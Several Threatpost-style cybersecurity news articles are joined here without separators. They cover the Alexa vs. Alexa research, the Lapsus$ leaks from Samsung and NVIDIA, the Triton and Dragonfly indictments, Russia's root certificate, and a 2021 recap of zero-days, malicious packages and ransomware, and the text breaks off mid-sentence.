Unlike internet-based attacks, this scenario requires proximity to the target device. This physical impediment is balanced by the fact that, as the researchers noted, \u201conce paired, the Bluetooth device can connect and disconnect from Echo without any need to perform the pairing process again. Therefore, the actual attack may happen several days after the pairing.\u201d\n\nAlternatively, the report stated, attackers could use an internet radio station, beaming to the target Echo like a command-and-control server. This method \u201cworks remotely and can be used to control multiple devices at once,\u201d but would required extra steps, including tricking the targeted user into downloading a malicious [Alexa \u201cskill\u201d](<https://threatpost.com/researchers-hacked-amazons-alexa-to-spy-on-users-again/131401/>) (app) to an Amazon device.\n\nUsing the Alexa vs. Alexa attack, attackers could tamper with applications downloaded to the device, make phone calls, place orders on Amazon, eavesdrop on users, control other connected appliances in a user\u2019s home and more.\n\n\u201cThis action can undermine physical safety of the user,\u201d the report stated, \u201cfor example, when turning off the lights during the evening or at nighttime, turning on a smart microwave oven, setting the heating at a very high temperature or even unlocking the smart lock for the front door.\u201d\n\nIn testing their attack, the authors were able to remotely turn off the lights in one of their own homes 93 percent of the time.\n\n## Smart Speakers Are Uniquely Vulnerable\n\nBecause they\u2019re always listening for their wake word, and because they\u2019re so often interconnected with other devices, smart speakers are prone to unique security vulnerabilities. The Echo series of devices, in particular, has been linked with a series of privacy risks, from microphones \u201c[hearing](<https://threatpost.com/hey-alexa-who-messaging/162587/>)\u201d what people text on nearby smartphones to audio recordings being stored [indefinitely](<https://threatpost.com/amazon-admits-alexa-voice-recordings-saved-indefinitely/146225/>) on company servers.\n\nThe physical proximity required for Bluetooth, or having to trick users into downloading malicious skills, limits but does not eliminate the potential for harm in such a scenario as the Alexa vs. Alexa report described, according to John Bambenek, principal threat hunter at Netenrich. Those living in dense cities are potentially at risk, and individuals \u201cat most risk are those in domestic violence scenarios,\u201d he wrote, via email. For that reason, \u201csimply accepting the risk isn\u2019t acceptable.\u201d\n\nThe research prompted Amazon to patch the command self-issue vulnerability, which is the benefit of having a robust threat-hunting culture.\n\n\u201cMost people aren\u2019t evil,\u201d wrote Bambenek. \u201cIt is hard to test new technology against criminal intent because even testers lack the criminal mindset (and that\u2019s a good thing for society). As technology gets adopted, we find things we overlook and make it better.\u201d\n\nFor its part, Amazon gave Threatpost the following statement:\n\n_\u201cAt Amazon, privacy and security are foundational to how we design and deliver every device, feature, and experience. We appreciate the work of independent security researchers who help bring potential issues to our attention, and are committed to working with them to secure our devices. We fixed the remote self-wake issue with Alexa Skills caused by extended periods of silence resulting from break tags as demonstrated by the researchers.

That\u2019s according to Security Affairs, which also published a screen grab of the data leak.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2022/03/07135942/lapsu-telegram-annoucement-screen-grab.jpg>)\n\nScreen capture of the Telegram message with data. Source: Security Affairs.\n\n\u201cIf Samsung\u2019s keys were leaked, it could compromise the TrustZone environment on Samsung devices that stores especially sensitive data, like biometrics, some passwords and other details,\u201d said Casey Bisson, head of product and developer relations at BluBracket, via email. \u201cThe TrustZone environment is useful because it creates a strong security barrier to attacks by Android malware.\u201d\n\nHe added that if the leaked data allows malware to access the TrustZone environment, it could make all data stored there vulnerable.\n\n\u201cIf Samsung has lost control of the signing keys, it could make it impossible for Samsung to securely update phones to prevent attacks on the TrustZone environment,\u201d he said. \u201cCompromised keys would make this a more significant attack [than NVIDIA](<https://threatpost.com/nvidias-stolen-code-signing-certs-sign-malware/178784/>), given the number of devices, their connection to consumers, and amount of very sensitive data that phones have.\n\n## **Ransomware Is Here to Stay **\n\nObviously, the implications of source code and thousands of employee credentials out in the open are serious. The [ransomware attacks](<https://threatpost.com/free-hermeticransom-ransomware-decryptor-released/178762/>) on Samsung and NVIDIA, and even January\u2019s Lapsus$ attack on media outlets in Portugal, SIC Noticias and Expresso, should serve as a grim reminder that the [ransomware](<https://threatpost.com/conti-ransomware-decryptor-trickbot-source-code-leaked/178727/>) business is booming, according to experts.\n\n> The websites of two of the main media organizations in Portugal [@expresso](<https://twitter.com/expresso?ref_src=twsrc%5Etfw>) and [@SICNoticias](<https://twitter.com/SICNoticias?ref_src=twsrc%5Etfw>) are down, after an apparent hacking, according to their parent company, Impresa.

He added, \u201cideally, a password-less MFA that is not based on shared secrets and thus, cannot easily be bypassed by a server compromise.\u201d\n\nThe group\u2019s recent successes also highlight the need to protect data across the organization, Purandar Das, CEO of Sotero told Threatpost.\n\n\u201cObviously a very concerning development for Samsung and NVIDIA if true,\u201d he said. \u201cWhat this also demonstrates is the vulnerability of data in any data store within organizations.\u201d\n\nHe explained a common security approach is to focus on locking down structured data storage, which can be shortsighted.\n\n\u201cMost security has been focused on structured datastores with the assumption that the attackers are looking for confidential information that relates to individuals whether they are customers, consumers or employees,\u201d Das added. \u201cHowever, confidential or sensitive data is spread in more than just structured data stores.\u201d\n\nIn the case of Samsung, beyond releasing the company\u2019s competitive secrets, the Lapsus$ breach leaves the company open to future compromise, he warned.\n\n\u201cIn the case of Samsung, it would provide a pathway into any or many Samsung devices rendering them vulnerable in ways that wouldn\u2019t have been feasible,\u201d Das said. \u201cSecurity, or more importantly data-focused security, is essential. Securing the data is probably more critical or just as critical as todays security of attempting to lock down the perimeter.\u201d\n\n**_Register Today for [Log4j Exploit: Lessons Learned and Risk Reduction Best Practices](<https://bit.ly/3BXPL6S>) \u2013 a LIVE Threatpost event sked for Thurs., March 10 at 2PM ET.

It\u2019s known by cybersecurity researchers as \u201cDragonfly,\u201d \u201cEnergetic Bear\u201d and \u201cCrouching Yeti.\u201d\n\n## $10M Reward for Intel on FSB Officers\n\nThere\u2019s a reward on the heads of the trio of FSB officers for allegedly hacking a refinery. The State Department [said](<https://www.state.gov/rewards-for-justice-reward-offer-for-information-on-russian-fsb-officers-conducting-malicious-activity-against-u-s-critical-infrastructure-between-2012-2017/>) on Thursday that its Rewards for Justice (RFJ) program is offering $10 million for information on the three, whose names are Pavel Aleksandrovich Akulov, Mikhail Mikhailovich Gavrilov and Marat Valeryevich Tyukov.\n\nThe officers were allegedly involved in computer intrusions, wire fraud, aggravated identity theft and damage to an energy facility. The reward marks the first time that RFJ has named a foreign government security personnel under its critical infrastructure reward offer, the State Department said.\n\n## Triton/Trisis\n\nTriton was allegedly used in campaigns run between May and September 2017.\n\nResearchers have compared Triton\u2019s targeting of industrial control systems (ICS) to malware used in the watershed attacks [Stuxnet](<https://threatpost.com/stuxnets-first-five-victims-provided-path-to-natanz/109291/>) and Industroyer/Crashoverride, the latter of which is a backdoor that targets ICS and which took down the Ukrainian power grid in Kiev in 2016. In 2018, research revealed that Industroyer [was linked](<https://threatpost.com/notpetya-linked-to-industroyer-attack-on-ukraine-energy-grid/138287/>) to the massive [NotPetya](<https://threatpost.com/merck-insurance-payout-notpetya-attack/177872/>) ransomware outbreak that crippled organizations around the world the year before.\n\nAccording to the indictment, between May and September 2017, Gladkikh, a 36-year-old computer programmer employed by an institute affiliated with the Russian Ministry of Defense, was involved in a campaign to hack global energy facilities \u201cusing techniques designed to enable future physical damage with potentially catastrophic effects.\u201d The hacking allegedly led to two separate emergency shutdowns at a foreign facility.\n\nAlong with co-conspirators, Gladkikh allegedly hacked the systems of \u201ca foreign refinery\u201d (presumably Saudi oil giant Petro Rabigh) in 2017 and installed Triton/Trisis malware on a safety system produced by Schneider Electric. Triton actually takes its name from the fact that it\u2019s designed to target Triconex safety instrumented system (SIS) controllers, which are sold by Schneider Electric. Triton surfaced again in 2019, when it was again [used to target](<https://threatpost.com/triton-ics-malware-second-victim/143658/>) an undisclosed company in the Middle East.\n\nTriton was designed to prevent the refinery\u2019s safety systems from functioning \u2013 \u201cby causing the ICS to operate in an unsafe manner while appearing to be operating normally,\u201d the DOJ said \u2013 thereby leaving the refinery open to damage and jeopardizing anybody nearby.\n\n\u201cWhen the defendant deployed the Triton malware, it caused a fault that led the refinery\u2019s Schneider Electric safety systems to initiate two automatic emergency shutdowns of the refinery\u2019s operations,\u201d the DOJ said. Between February and July 2018, Gladkikh and his crew allegedly researched and (unsuccessfully) tried to hack the computer systems used by a U.S. company with similar refineries.\n\nAs energy news outlet E&E News [reported](<https://www.eenews.net/articles/the-inside-story-of-the-worlds-most-dangerous-malware/>) in 2019, in the early evening of Aug. 4, 2017, two emergency shutdown systems sprang to life at Petro Rabigh\u2019s sprawling refinery along Saudi Arbia\u2019s Red Sea coast. Engineers working the weekend shift were oblivious, even as the systems knocked the complex offline \u201cin a last-gasp effort to prevent a gas release and deadly explosion.\u201d\n\n\u201c[They] spotted nothing out of the ordinary, either on their computer screens or out on the plant floor,\u201d according to E&E News.\n\nGladkikh has been charged with three counts: conspiracy to cause damage to an energy facility, attempt to damage an energy facility, and one count of conspiracy to commit computer fraud.\n\n## FSB Officers\u2019 Indictment: The Dragonfly Supply-Chain Attack\n\nThe indictment that names the FSB officers alleges that, between 2012 and 2017, Akulov, Gavrilov, Tyukov and their co-conspirators engaged in computer intrusions, including supply chain attacks, \u201cin furtherance of the Russian government\u2019s efforts to maintain surreptitious, unauthorized and persistent access to the computer networks of companies and organizations in the international energy sector, including oil and gas firms, nuclear power plants, and utility and power transmission companies.\u201d\n\nSpecifically, they allegedly targeted the software and hardware that controls equipment in power generation facilities, known as ICS or Supervisory Control and Data Acquisition (SCADA) systems.\n\n\u201cAccess to such systems would have provided the Russian government the ability to, among other things, disrupt and damage such computer systems at a future time of its choosing,\u201d according to the DOJ\u2019s [press release](<https://www.justice.gov/opa/pr/four-russian-government-employees-charged-two-historical-hacking-campaigns-targeting-critical>).\n\nThe indictment describes a campaign against the energy sector that involved two phases: The first was a supply-chain attack that was commonly referred to as \u201cDragonfly\u201d or \u201cHavex\u201d by security researchers. Dragonfly took place between 2012 and 2014 and compromised computer networks of ICS/SCADA system manufacturers and software vendors.\n\nIt involved tucking the Havex remote-access trojan (RAT) [inside legitimate software updates](<https://threatpost.com/ics-malware-found-on-vendors-update-installers/106910/>). According to a 2014 advisory from the Industrial Control Systems Cyber Emergency Response Team (ICS-CERT), the Havex RAT targeted vendors via phishing campaigns, website redirects and, finally, by infecting the software installers. Three vendor websites were compromised in watering-hole attacks, the ICS-CERT advisory said.\n\n\u201cAfter unsuspecting customers downloaded Havex-infected updates, the conspirators would use the malware to, among other things, create backdoors into infected systems and scan victims\u2019 networks for additional ICS/SCADA devices,\u201d according to the DOJ. The gang allegedly managed to install malware on more than 17,000 unique devices in the United States and abroad, including ICS/SCADA controllers used by power and energy companies.\n\n## Dragonfly 2.0: Spearphishing a Nuclear Power Plant\n\nBetween 2014 and 2017, the campaign entered into what\u2019s commonly referred to as \u201cDragonfly 2.0,\u201d wherein the suspects allegedly turned their focus to specific energy sector entities and individuals and engineers who worked with ICS/SCADA systems.\n\nThis second phase entailed spearphishing attacks targeting more than 3,300 users at more than 500 U.S. and international companies and entities, in addition to U.S. government agencies such as the Nuclear Regulatory Commission.\n\nThe spearphishing attacks sometimes struck gold, including in the compromise of the business network (i.e., involving computers not directly connected to ICS/SCADA equipment) of the Wolf Creek Nuclear Operating Corporation (Wolf Creek) in Burlington, Kansas. Wolf Creek operates a nuclear power plant.\n\n\u201cMoreover, after establishing an illegal foothold in a particular network, the conspirators typically used that foothold to penetrate further into the network by obtaining access to other computers and networks at the victim entity,\u201d according to the DOJ.\n\nDragonfly 2.0 also entailed a watering-hole attack wherein the alleged attackers exploited publicly known vulnerabilities in [content management software ](<https://threatpost.com/threatlist-wordpress-vulnerabilities/140690/>)(CMS) to compromise servers that hosted websites commonly visited by ICS/SCADA system and other energy sector engineers. \u201cWhen the engineers browsed to a compromised website, the conspirators\u2019 hidden scripts deployed malware designed to capture login credentials onto their computers,\u201d the DOJ said.\n\nThe campaign targeted victims in the United States and in more than 135 other countries, the Feds said.\n\nThe FSB officers are looking at charges of conspiracy to cause damage to the property of an energy facility and commit computer fraud and abuse and conspiracy to commit wire fraud. Akulov and Gavrilov are also charged with substantive counts of wire fraud and computer fraud related to unlawfully obtaining information from computers and causing damage to computers. Akulov and Gavrilov are also charged with three counts of aggravated identity theft.\n\n## Still Gaping Security Holes in Energy Companies\n\nLookingGlass CEO Gilman Louie, an expert on national security and cybersecurity who regularly shares or analyzes intel with government agencies, told Threatpost on Friday that legal actions against the potential operators of the critically dangerous Triton malware are welcome: They\u2019re a \u201cpositive move [that] sends a strong message to cybercrime and nation-state actors globally,\u201d he said via email.\n\nOn the less-positive side, a recent LookingGlass cyber profile of the U.S. Energy sector looks grim.\n\nMany energy companies are sitting ducks, with current cybersecurity exposures that have already been exploited by Russian actors in the past, including open ports that enable threat actors to gain full remote access.\n\nThe report shares vulnerabilities and exposures that Russian hackers are known to have used. \u201cFor years, energy companies have been hammered on securing their operational technology. The Triton attacks show why this is important,\u201d Louie noted.\n\nBut he stated that \u201corganizations also need to ensure they\u2019re improving security on their traditional IT side.\u201d He pointed to the Colonial Pipeline attack as an example of how adversaries \u201cdidn\u2019t need in-depth knowledge of [operational technology, or OT] to shut down the flow of gas or oil.\u201d \n\nLookingGlass research shows that, across the energy sector, there are vulnerabilities that are more than 5 years old that haven\u2019t been dealt with, and open ports like remote desktop that are \u201cbasically unprotected doors into an organization.\u201d\n\nEnergy companies need to be patching or updating their systems, Louie said and shutting those open doors: \u201cIf they really need a port open for remote desktop, then they need to add layers of compensating security controls to make sure it\u2019s not easy to exploit.\u201d\n\nWhen unsealing the indictments, the government noted that it\u2019s taking action to [enhance private sector network defense efforts](<https://www.cisa.gov/uscert/ncas/alerts/aa22-083a>) and to [disrupt similar malicious activity](<https://protect2.fireeye.com/v1/url?k=73f0be82-2c6b867e-73f79a67-ac1f6b01771c-a72e8f7b8ceb667b&q=1&e=d2252912-db07-4b30-8381-4dbd442acfc0&u=https%3A%2F%2Frewardsforjustice.net%2Findex%2F%3Fjsf%3Djet-engine%3Arewards-grid%26tax%3Dcyber%3A857>).\n\nOther security issues that Russian actors have leveraged, which companies need to address immediately before they are used for attacks that could be bigger than those we\u2019ve already seen, include:\n\n * **Default Passwords**: Exactly what it sounds like. Default passwords are a major attack vector. Not changing default passwords, especially with a tool like Telnet, leaves companies wide open to Russian access to networks.\n * [**Port 161 \u2013 SNMP protocol**](<https://www.cisa.gov/uscert/ncas/alerts/TA18-106A>): The Simple Network Management Protocol (SNMP) uses both port 161 and port 162 for sending commands and messages and is being used by Russia to gain access to network devices and infrastructure. Older versions of this protocol are unsecure and allow threat actors to eavesdrop or manipulate data.\n * **Port 139/445 \u2013 SMB: **The SMB network port is commonly used for file sharing. Russian groups have successfully targeted this port to execute remote code and to steal information, LookingGlass found.\n\nThese are just a few examples of security exposures that threat actors tied directly to Russia have exploited and will likely exploit again within U.S. companies, according to LookingGlass\u2019s research.\n\nIt\u2019s not time to wait for a nuclear-level cyber event, given that threat actors are already inside the power infrastructure. Now\u2019s the time for companies to find and mitigate the holes that let them in, Louie said.\n\n\u201cEnergy sector entities should be reviewing their digital footprint and taking action to secure their external-facing assets, especially as the threat of Russian cyberattacks intensifies,\u201d he said.\n\n**_Moving to the cloud?

Lumen, another major U.S. internet supplier, [followed suit](<https://www.washingtonpost.com/technology/2022/03/08/lumen-internet-russia-backbone-cut/>) on Tuesday, pushing the country\u2019s citizens behind what some analysts are calling \u201ca new digital Iron Curtain.\u201d\n\nMikhail Klimarev, executive director of the [Internet Protection Society](<https://2020.internethealthreport.org/>), which advocates for digital freedoms in Russia, told [The Washington Post](<https://www.washingtonpost.com/technology/2022/03/04/russia-ukraine-internet-cogent-cutoff/>) that he\u2019s \u201cvery afraid of this.\u201d\n\n\u201cI would like to convey to people all over the world that if you turn off the Internet in Russia, then this means cutting off 140 million people from at least some truthful information. As long as the Internet exists, people can find out the truth. There will be no Internet \u2014 all people in Russia will only listen to propaganda.\u201d\n\n## Chrome, Firefox, Edge Won\u2019t Swallow the New Certs\n\nBleepingComputer reported on Thursday that the only web browsers that were recognizing the new CA as trustworthy at the time were the Russia-based Yandex browser and Atom products: Russian users\u2019 only alternative to browsers such as Chrome, Firefox, Edge and others.\n\nSomebody with a Mozilla domain email on Thursday started a [thread](<https://groups.google.com/a/mozilla.org/g/dev-security-policy/c/QaKxfr5hOXg>) to discuss examination of the new root Russia cert, pointing to the possibility of the Russian government using it to start mand-in-the-middle (MitM) [attacks](<https://bugzilla.mozilla.org/show_bug.cgi?id=1758773>) \u2013 though, they said, none had been detected as of yesterday.\n\n\u201cAlthough at present there\u2019s no MitM, it\u2019s likely that government websites will start using this and once adoption is high enough Russia will perhaps start MitM,\u201d they said. They cited an ISP who said that it had been told that the new cert was mandatory, making the certificate \u201cworth urgent consideration.\u201d\n\n**_Moving to the cloud?

Data insecurity, code-repository malware, major zero-day vulnerabilities and fresh ransomware tactics dominated the most-read list \u2013 perhaps indicating that people are keenly focused on cybercrime innovation as the \u201cnew normal\u201d for how we work becomes more settled in.\n\n_**Jump to section:**_\n\n 1. Data Leakapalooza\n 2. Major Zero-Day Vulnerabilities\n 3. Code Repository Malware\n 4. Ransomware Innovations\n 5. Gaming Attacks\n 6. Bonus! Zodiac Killer Cipher Cracked\n\n## **1\\. The Most-Read Story of 2021: Experian Leaks Everyone\u2019s Credit Scores**\n\nThere were obviously some huge news stories that dominated headlines during the year: Log4Shell; Colonial Pipeline; Kaseya; ProxyLogon/ProxyShell; SolarWinds. But judging from article traffic, readers were most interested in\u2026the Experian data exposure.\n\nIn April, Bill Demirkapi, a sophomore student at the Rochester Institute of Technology, discovered that the credit scores of almost every American [were exposed](<https://threatpost.com/experian-api-leaks-american-credit-scores/165731/>) through an API tool used by the Experian credit bureau, which he said was left open on a lender site without even basic security protections.[](<https://media.threatpost.com/wp-content/uploads/sites/103/2021/04/29144158/Experian.jpg>)\n\nThe tool, called the Experian Connect API, allows lenders to automate FICO-score queries. Demirkapi said he was able to build a command-line tool that let him automate lookups for any credit score for nearly anyone, even after entering all zeros in the fields for date of birth, which he named, \u201cBill\u2019s Cool Credit Score Lookup Utility.\u201d\n\nIn addition to raw credit scores, the college student said that he was able to use the API connection to get \u201crisk factors\u201d from Experian that explained potential flaws in a person\u2019s credit history, such as \u201ctoo many consumer-finance company accounts.\u201d\n\nExperian, for its part, fixed the problem \u2013 and refuted concerns from the security community that the issue could be systemic.\n\nExperian wasn\u2019t the only household name that drew in readers for data insecurity: LinkedIn data going up for sale on the Dark Web was another very hot story this year.\n\n### **LinkedIn Data Scraping**\n\nAfter 500 million LinkedIn members were affected in a data-scraping incident in April, [it happened again](<https://threatpost.com/data-700m-linkedin-users-cyber-underground/167362/>) in June. A posting with 700 million LinkedIn records for sale appeared on popular cyberattacker destination RaidForums, by a hacker calling himself \u201cGOD User TomLiner.\u201d The advertisement included a sample of 1 million records as \u201cproof.\u201d\n\nPrivacy Sharks examined the free sample and saw that the records include full names, gender, email addresses, phone numbers and industry information. It\u2019s unclear what the origin of the data is \u2013 but the scraping of public profiles is a likely source. According to LinkedIn, no breach of its networks occurred.\n\nEven so, the security ramifications were significant, researchers said, in terms of the cache enabling brute-force cracking of account passwords, email and telephone scams, phishing attempts, identity theft and finally, the data could be a social-engineering goldmine. Sure, attackers could simply visit public profiles to target someone, but having so many records in one place could make it possible to automate targeted attacks using information about users\u2019 jobs and gender, among other details.\n\n## **2\\. Major Zero-Day Bugs**\n\nOK, this one\u2019s a perennial topic of fascination, but 2021 had some doozies, starting with Log4Shell.\n\n### **Log4Shell Threatens Basically All Web Servers in Existence**\n\nThe Log4Shell vulnerability is [an easily exploited flaw](<https://threatpost.com/zero-day-in-ubiquitous-apache-log4j-tool-under-active-attack/176937/>) in the ubiquitous Java logging library Apache Log4j could allow unauthenticated remote code execution (RCE) and complete server takeover \u2014 and it\u2019s still being actively exploited in the wild.[](<https://media.threatpost.com/wp-content/uploads/sites/103/2021/12/21151757/Logs-e1640117899602.png>)\n\nThe flaw (CVE-2021-44228) first turned up on sites that cater to users of the world\u2019s favorite game, Minecraft. Apache rushed a patch but within a day or two, attacks became rampant as threat actors tried to exploit the new bug. From there, news of additional exploitation vectors, a second bug, various kinds of real-world attacks and the sheer enormity of the threat surface (the logging library is basically everywhere) dominated reader interest in December.\n\n### **NSO Group\u2019s Zero-Click Zero Day for Apple**\n\nIn September, a [zero-click zero-day](<https://threatpost.com/apple-emergency-fix-nso-zero-click-zero-day/169416/>) dubbed ForcedEntry be researchers was found, affecting all things Apple: iPhones, iPads, Macs and Watches. It turns out that it was being exploited by NSO Group to install the infamous Pegasus spyware.\n\nApple pushed out an emergency fix, but Citizen Lab had already observed the NSO Group targeting never-before-seen, zero-click exploit targeting iMessage to illegally spy on Bahraini activists.\n\nThe ForcedEntry exploit was particularly notable in that it was successfully deployed against the latest iOS versions \u2013 14.4 & 14.6 \u2013 blowing past Apple\u2019s new BlastDoor sandboxing feature to install spyware on the iPhones of the Bahraini activists.\n\n### **Giant Zero-Day Hole in Palo Alto Security Appliances**\n\nAnother zero-day item that garnered big reader interest was [the news](<https://threatpost.com/massive-zero-day-hole-found-in-palo-alto-security-appliances/176170/>) that researchers from Randori developed a working exploit to gain remote code execution (RCE) on Palo Alto Networks\u2019 GlobalProtect firewall, via the critical bug CVE 2021-3064.\n\nRandori researchers said that if an attacker successfully exploits the weakness, they can gain a shell on the targeted system, access sensitive configuration data, extract credentials and more. And after that, attackers can dance across a targeted organization, they said: \u201cOnce an attacker has control over the firewall, they will have visibility into the internal network and can proceed to move laterally.\u201d\n\nPalo Alto Networks patched the bug on the day of disclosure.\n\n### **The Great Google Memory Bug Zero-Day**\n\nIn March, Google [hurried out a fix](<https://threatpost.com/google-mac-windows-chrome-zero-day/164759/>) for a vulnerability in its Chrome browser that was under active attack. If exploited, the flaw could allow remote code-execution and denial-of-service attacks on affected systems. Readers flocked to the coverage of the issue.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2020/11/03120131/Google-Chrome-Browser.jpg>)\n\nNew york, USA \u2013 july 26, 2019: Start google chrome application on computer macro close up view in pixel screen\n\nThe flaw is a use-after-free vulnerability, and specifically exists in Blink, the browser engine for Chrome developed as part of the Chromium project. Browser engines convert HTML documents and other web page resources into the visual representations viewable to end users.\n\n\u201cBy persuading a victim to visit a specially crafted website, a remote attacker could exploit this vulnerability to execute arbitrary code or cause a denial-of-service condition on the system,\u201d according to IBM X-Force\u2019s report on the bug.\n\n### **Dell Kernel-Privilege Bugs**\n\nEarlier this year, five high-severity security bugs that remained hidden for 12 years [were found](<https://threatpost.com/dell-kernel-privilege-bugs/165843/>) to exist in all Dell PCs, tablets and notebooks shipped since 2009. They allow the ability to bypass security products, execute code and pivot to other parts of the network for lateral movement, according to SentinelLabs.\n\nThe flaws lurked in Dell\u2019s firmware update driver, impacting potentially hundreds of millions of Dell desktops, laptops, notebooks and tablets, researchers said.\n\nThe multiple local privilege-escalation (LPE) bugs exist in the firmware update driver version 2.3 (dbutil_2_3.sys) module, which has been in use since 2009. The driver component handles Dell firmware updates via the Dell BIOS Utility, and it comes pre-installed on most Dell machines running Windows.\n\n## 3\\. Code Repositories and the Software Supply Chain\n\nThe software supply chain is anchored by open-source code repositories \u2013 centralized locations where developers can upload software packages for use by developers in building various applications, services and other projects. They include GitHub, as well as more specialized repositories like the Node.js package manager (npm) code repository for Java; RubyGems for the Ruby programming language; Python Package Index (PyPI) for Python; and others.\n\nThese package managers represent a supply-chain threat given that anyone can upload code to them, which can in turn be unwittingly used as building blocks in various applications. Any applications corrupted by malicious code can attack the programs\u2019 users.\n\nTo boot, a single malicious package can be baked into multiple different projects \u2013 infecting them with cryptominers, info-stealers and more, and making remediation a complex process.[](<https://media.threatpost.com/wp-content/uploads/sites/103/2018/09/27155850/threatlist-python.png>)\n\nCybercriminals have swarmed to this attack surface, and readers in 2021 loved to hear about their exploits.\n\nFor instance, in December, a [series of 17 malicious packages](<https://threatpost.com/malicious-npm-code-packages-discord/176886/>) in npm were found; they were all built to target Discord, the virtual meeting platform used by 350 million users that enables communication via voice calls, video calls, text messaging and files. The coal was to steal Discord tokens, which can be used to take over accounts.\n\nAlso this month, three malicious packages hosted in the PyPI code repository [were uncovered](<https://threatpost.com/malicious-pypi-code-packages/176971/>), which collectively have more than 12,000 downloads \u2013 and presumably slithered into installations in various applications. The packages included one trojan for establishing a backdoor on victims\u2019 machines, and two info-stealers.\n\nResearchers also discovered last week that there were 17,000 unpatched Log4j Java packages in the Maven Central ecosystem, leaving massive supply-chain risk on the table from [Log4Shell exploits](<https://threatpost.com/new-log4shell-attack-vector-local-hosts/177128/>). It will likely take \u201cyears\u201d for it to be fixed across the ecosystem, [according](<https://threatpost.com/java-supply-chain-log4j-bug/177211/>) to Google\u2019s security team.\n\nUsing malicious packages as a cyberattack vector was a common theme earlier in the year too. Here\u2019s a rundown of other recent discoveries:\n\n * In January, other Discord-stealing malware [was discovered](<https://threatpost.com/discord-stealing-malware-npm-packages/163265/>) in three npm packages. One, \u201can0n-chat-lib\u201d had no legitimate \u201ctwin\u201d package, but the other two made use of brandjacking and typosquatting to lure developers into thinking they\u2019re legitimate. The \u201cdiscord-fix\u201d malicious component is named to be similar to the legitimate \u201cdiscord-XP,\u201d an XP framework for Discord bots. The \u201csonatype\u201d package meanwhile made use of pure brandjacking.\n * In March, researchers [spotted](<https://threatpost.com/malicious-code-bombs-amazon-lyft-slack-zillow/164455/>) malicious packages targeting internal applications for Amazon, Lyft, Slack and Zillow (among others) inside the npm public code repository \u2013 all of which exfiltrated sensitive information.\n * That March attack was based on research from security researcher Alex Birsan, who found that it\u2019s possible to [inject malicious code](<https://threatpost.com/supply-chain-hack-paypal-microsoft-apple/163814/>) into common tools for installing dependencies in developer projects. Such projects typically use public repositories from sites like GitHub. The malicious code then can use these dependencies to propagate malware through a targeted company\u2019s internal applications and systems. The novel supply-chain attack was (ethically) used to breached the systems of more than 35 technology players, including Microsoft, Apple, PayPal, Shopify, Netflix, Tesla and Uber, by exploiting public, open-source developer tools.\n * In June, a group of cryptominers was found [to have infiltrated](<https://threatpost.com/cryptominers-python-supply-chain/167135/>) the PyPI. Researchers found six different malicious packages hiding there, which had a collective 5,000 downloads.\n * In July, a credentials-stealing package that uses legitimate password-recovery tools in Google\u2019s Chrome web browser [was found lurking in ](<https://threatpost.com/npm-package-steals-chrome-passwords/168004/>)npm. Researchers caught the malware filching credentials from Chrome on Windows systems. The password-stealer is multifunctional: It also listens for incoming commands from the attacker\u2019s command-and-control (C2) server and can upload files, record from a victim\u2019s screen and camera, and execute shell commands.\n\n## **4\\. Interesting Ransomware Variants**\n\nThe ransomware epidemic matured in 2021, with the actual malware used to lock up files progressing beyond simply slapping an extension on targeted folders. Readers flocked to malware analysis stories covering advancements in ransomware strains, including the following Top 3 discoveries.\n\n### **HelloKitty\u2019s Linux Variant Targets VMs**\n\nIn June, for the first time, researchers [publicly spotted](<https://threatpost.com/linux-variant-of-hellokitty-ransomware-targets-vmware-esxi-servers/167883/>) a Linux encryptor \u2013 being used by the HelloKitty ransomware gang.\n\nHelloKitty, the same group behind the [February attack](<https://threatpost.com/cyberpunk-2077-publisher-hack-ransomware/163775/>) on videogame developer CD Projekt Red, has developed numerous Linux ELF-64 versions of its ransomware, which it used to target VMware ESXi servers and virtual machines (VMs) running on them.[](<https://media.threatpost.com/wp-content/uploads/sites/103/2021/07/16162559/hellokitty-e1626467172148.jpeg>)\n\nVMware ESXi, formerly known as ESX, is a bare-metal hypervisor that installs easily onto servers and partitions them into multiple VMs. While that makes it easy for multiple VMs to share the same hard-drive storage, it sets systems up to be one-stop shopping spots for attacks, since attackers can encrypt the centralized virtual hard drives used to store data from across VMs.\n\nDirk Schrader of New Net Technologies (NNT) told Threatpost that on top of the attraction of ESXi servers as a target, \u201cgoing that extra mile to add Linux as the origin of many virtualization platforms to [malware\u2019s] functionality\u201d has the welcome side effect of enabling attacks on any Linux machine.\n\n### **MosesStaff: No Decryption Available**\n\nA politically motivated group known as MosesStaff [was seen in November](<https://threatpost.com/mosesstaff-locks-targets-ransom-decryption/176366/>) paralyzing Israeli entities with no financial goal \u2013 and no intention of handing over decryption keys. Instead, it was using ransomware in politically motivated, destructive attacks at Israeli targets, looking to inflict the most damage possible.\n\nMosesStaff encrypts networks and steals information, with no intention of demanding a ransom or rectifying the damage. The group also maintains an active social-media presence, pushing provocative messages and videos across its channels, and making its intentions known.\n\n### **Epsilon Red Targets Exchange Servers**\n\nThreat actors in June [were seen deploying](<https://threatpost.com/exchange-servers-epsilon-red-ransomware/166640/>) new ransomware on the back of a set of PowerShell scripts developed for exploiting flaws in unpatched Exchange Servers.\n\nThe Epsilon Red ransomware \u2013 a reference to an obscure enemy character in the X-Men Marvel comics, a super soldier of Russian origin armed with four mechanical tentacles \u2013 was discovered after an attack on a U.S.-based company in the hospitality sector.\n\nResearchers said the ransomware was different in the way it spreads its hooks into a corporate network. While the malware itself is a \u201cbare-bones\u201d 64-bit Windows executable programmed in the Go programming language, its delivery system relies on a series of PowerShell scripts that \u201cprepared the attacked machines for the final ransomware payload and ultimately delivered and initiated it,\u201d they wrote.\n\n## **5\\. Gaming Security**\n\nFor the second year in a row, gaming security was on the radar for readers in 2021, possibly because cybercriminals continue to target this area as result of the global COVID-19 pandemic driving higher volumes of play. In a recent survey by Kaspersky, nearly 61 percent reported suffering foul play such as ID theft, scams or the hack of in-game valuables. Some of the most popular articles are recapped below.\n\n### **Steam Used to Host Malware**\n\nIn June, the appropriately named SteamHide malware [emerged](<https://threatpost.com/steam-gaming-delivering-malware/166784/>), which disguises itself inside profile images on the gaming platform Steam.[](<https://media.threatpost.com/wp-content/uploads/sites/103/2018/08/01084854/Steam-logo.jpg>)\n\nThe Steam platform merely serves as a vehicle which hosts the malicious file, according to research from G Data: \u201cThe heavy lifting in the shape of downloading, unpacking and executing a malicious payload fetched by the loader is handled by an external component, which accesses the malicious profile image on one Steam profile. This external payload can be distributed via crafted emails to compromised websites.\u201d\n\nThe steganography technique is obviously not new \u2014 